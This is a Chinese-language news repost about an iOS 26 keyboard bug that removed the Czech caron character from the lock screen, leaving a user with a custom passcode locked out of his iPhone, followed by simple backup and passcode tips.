+![](https://mmbiz.qpic.cn/mmbiz_png/WibvcdjxgJnsj9JkGxqZW2sITQWXYTUn9uAJWjDqOmjsSycV6f95L27l5mlEz7r0ibv2PnQkKxwLGDl8oeicTLsXf4HPF0PDKtmRRibce5k4YMI/640?wx_fmt=png&from=appmsg "") + +据报导,Apple正在开发一款软件修复程序,以解决一个令人沮丧的iOS 26漏洞,该漏洞已导致部分用户数月来完全无法使用他们的iPhone。 + +据《The Register》最近的一篇报导,库比蒂诺的软件工程师正在紧急修补一个键盘界面缺陷,该缺陷无意中移除了一个特定的特殊字符,而该字符对于解锁配置了自定义字母数字密码的设备是必需的。 + +当一名21岁的大学生Connor Byrne在Reddit上分享他的困境时,这个问题首次引起公众关注。 + +据《The Register》报导,Byrne选择不在他的iPhone 13上使用标准的四位或六位数字PIN码。相反,他通过设置一个复杂的自定义字母数字字符串作为主要密码来增强设备安全性。 + +虽然网络安全专业人士强烈推荐使用复杂密码来阻止暴力攻击,但Byrne的特定密码组合却触发了一个意外的软件陷阱。 + +他使用了iPhone捷克键盘布局中的caron或háček符号(ˇ)。当Apple于2025年9月向公众发布iOS 26时,公司无意中从锁屏键盘中移除了这个特定字符。 + +由于无法输入所需的符号,Byrne被永久锁定在他的智能手机之外。设备提供的唯一原生解决方案是完全恢复出厂设置。 + +然而,恢复出厂设置将永久删除存储在设备本地的数月珍贵照片和个人文件。为了保留数据,该用户选择保持锁定状态,同时等待可能的软件修复。 + +在社交媒体帖子病毒式传播后,据报导,Apple的内部工程团队开始调查此问题。《The Register》指出,Apple现在正在开发一个针对性修复程序,以恢复缺失的字符,预计将在即将到来的主要iOS 26版本中推出。 + +有趣的是,尽管Apple的工程师在问题在线出现后9天内就做出了回应,但长时间的锁定已经永久损害了用户对公司的信任。 + +据《The Register》称,Byrne已决定迁移到Android设备,特别关注三星Galaxy S26 Ultra。 + +他既提到了软件质量保证的疏忽(指出当前键盘的缺陷导致字符并排重复),也表达了对替代相机硬件的偏好。Apple尚未就修复时间表发布官方公开评论。 + +**安全建议:** + +**定期备份数据** +:始终保持最新的iCloud或物理备份。如果更新后出现关键的锁屏故障,您可以安全地执行恢复出厂设置而不会丢失数据。 + +**审查自定义密码** +:如果您使用自定义字母数字密码,请确保它依赖于在不同键盘布局中普遍可用的标准字符,以避免被锁定。 + +**监控软件更新** +:在主要操作系统升级发布后立即采用时要谨慎。正如本事件所强调的,意外的界面错误可能会暂时中断设备访问。 + +本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理,文章版权归原作者所有,仅供读者学习、参考,禁止用于商业用途。因转载众多,无法找到真正来源,如标错来源,或对于文中所使用的图片、文字、链接中所包含的软件/资料等,如有侵权,请跟我们联系删除,谢谢! + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/1QIbxKfhZo5lNbibXUkeIxDGJmD2Md5vKicbNtIkdNvibicL87FjAOqGicuxcgBuRjjolLcGDOnfhMdykXibWuH6DV1g/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=p6hk1x4r&tp=webp#imgIndex=1 "") +